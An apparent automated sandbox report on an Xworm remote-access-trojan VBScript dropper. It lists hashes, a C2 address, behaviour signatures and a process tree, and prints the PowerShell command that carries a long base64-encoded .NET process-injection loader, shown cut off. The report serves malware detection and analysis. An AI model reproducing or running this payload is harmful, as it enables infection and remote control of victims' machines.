Analysis

  • max time kernel
    107s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-03-2023 12:32

General

  • Target

    a.vbs

  • Size

    146KB

  • MD5

    dbaafddd62e8880e074d25d56f1b8eeb

  • SHA1

    74133271577329144562f9cdc50c8b1698b401b7

  • SHA256

    84bf179cf928c716bf6f7b0aad97772a56159abdc39e8ba8c4993cf5c45e457e

  • SHA512

    a63155cd4f85d30a304c2a908d0725246d276fd87ca46654409c2546513231de1ded7a04c26edcfca6481a5cda1ab37a6956a17beeb16e949dcd839a486b6a66

  • SSDEEP

    1536:j89r/aDcWJwG0mtvR/Eg5dfT1Ph+9PEa6UJCw4GEMofk0i:Ktci

Score
10/10

Malware Config

Extracted

Family

xworm

C2

212.87.204.124:5555

Mutex

BtADXFpcTwggF8mG

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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+wBSA4AC+wBSA6AC+wBSA8AC+wBSA+AC+wBSAwAD+wBSAyAD+wBSAwAEEwBXAyAEEwBXA0AEEwBXA2AEEwBXA8AEEwBXAwAFEwBXAwEAAAAAAA4AAQAAAAAADwBsAXIBkwGcAaIBrAFMBFkECwASABkAIABFAE4AVQBkAMcARQEEASEA4AYBAAABIwB0BwEAAAElAG8HAQAAAScAigcBAAABKQCFBwEAAAErAMcHAQAAAS0A2QcBAAABLwC/BAIAAAExAJsHAQAAATMAigABAASAAAABAAAAAAAAAAAAAAAAADAFAAAKAAAAAAAAAAAAAAC2AWUAAAAAAAQAAAAAAAAAAAAAAL8BcgQAAAAABAAAAAAAAAAAAAAAvwFcAAAAAAAAAAAAAQAAAHoGAAAMAAQADQAEAA4ACAAPAAgAAAAQABoAWgAAABAASQBaAAAAAABLAFoAIwCnASMAsQEAAABBYDEAQ29udGV4dFZhbHVlYDEAVG9JbnQzMgBUb0ludDE2AGdldF9VVEY4AEEAQgBDAEQARQBWQUkAU3lzdGVtLklPAFFCWHRYAFByb2plY3REYXRhAGRhdGEAbXNjb3JsaWIATWljcm9zb2Z0LlZpc3VhbEJhc2ljAEdldFByb2Nlc3NCeUlkAFJlc3VtZVRocmVhZABTeW5jaHJvbml6ZWQAUmVwbGFjZQBDcmVhdGVJbnN0YW5jZQBBbmRlAEdldEhhc2hDb2RlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAEZpbGUAc2V0X1dpbmRvd1N0eWxlAFByb2Nlc3NXaW5kb3dTdHlsZQBzZXRfRmlsZU5hbWUASG9tZQBWYWx1ZVR5cGUAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAFN0clJldmVyc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAR3VpZEF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAE9iZnVzY2F0aW9uQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAWWFub0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3VwcHJlc3NVbm1hbmFnZWRDb2RlU2VjdXJpdHlBdHRyaWJ1dGUAQnl0ZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldE9iamVjdFZhbHVlAGdldF9TaXplAFNpemVPZgBOZXdMYXRlQmluZGluZwBzZXRfRW5jb2RpbmcAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE9wdGljYWwATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwATGF0ZUNhbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABGaWJlci5kbGwAS2lsbABTeXN0ZW0AQm9vbGVhbgBWZXJzaW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAEludGVyYWN0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBDdWx0dXJlSW5mbwBzZXRfU3RhcnRJbmZvAFByb2Nlc3NTdGFydEluZm8AWmVybwBTdGFydHVwAHN0YXJ0dXAARmliZXIAQnVmZmVyAFJlc291cmNlTWFuYWdlcgBVc2VyAEJpdENvbnZlcnRlcgBDb21wdXRlcgBDbGVhclByb2plY3RFcnJvcgBTZXRQcm9qZWN0RXJyb3IAQWN0aXZhdG9yAC5jdG9yAC5jY3RvcgBJbnRQdHIAU3lzdGVtLkRpYWdub3N0aWNzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5BcHBsaWNhdGlvblNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SZXNvdXJjZXMARmliZXIuUmVzb3VyY2VzLnJlc291cmNlcwBHZXRCeXRlcwBTdHJpbmdzAFJlZmVyZW5jZUVxdWFscwBUb29scwBDb252ZXJzaW9ucwBSdW50aW1lSGVscGVycwBPcGVyYXRvcnMAQ3JlYXRlUHJvY2VzcwBzZXRfQXJndW1lbnRzAEV4aXN0cwBDb25jYXQARm9ybWF0AENyZWF0ZU9iamVjdABDb25jYXRlbmF0ZU9iamVjdABMYXRlR2V0AFN5c3RlbS5OZXQATGF0ZVNldABXZWJDbGllbnQAU3RhcnQAQ29udmVydABTeXN0ZW0uVGV4dABXb3c2NEdldFRocmVhZENvbnRleHQAV293NjRTZXRUaHJlYWRDb250ZXh0AFZpcnR1YWxBbGxvY0V4AEFycmF5AGdldF9Bc3NlbWJseQBCbG9ja0NvcHkAUmVhZFByb2Nlc3NNZW1vcnkAV3JpdGVQcm9jZXNzTWVtb3J5AFN5c3RlbS5TZWN1cml0eQBJc051bGxPckVtcHR5AAAAAB9GAGkAYgBlAHIALgBSAGUAcwBvAHUAcgBjAGUAcwAAc0MAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAUgBlAGcAUwB2AGMAcwAuAGUAeABlAAALIgB7ADAAfQAiAAADIAAAOUMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwATwBuAGUARAByAGkAdgBlAC4AdgBiAHMAAHNDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIA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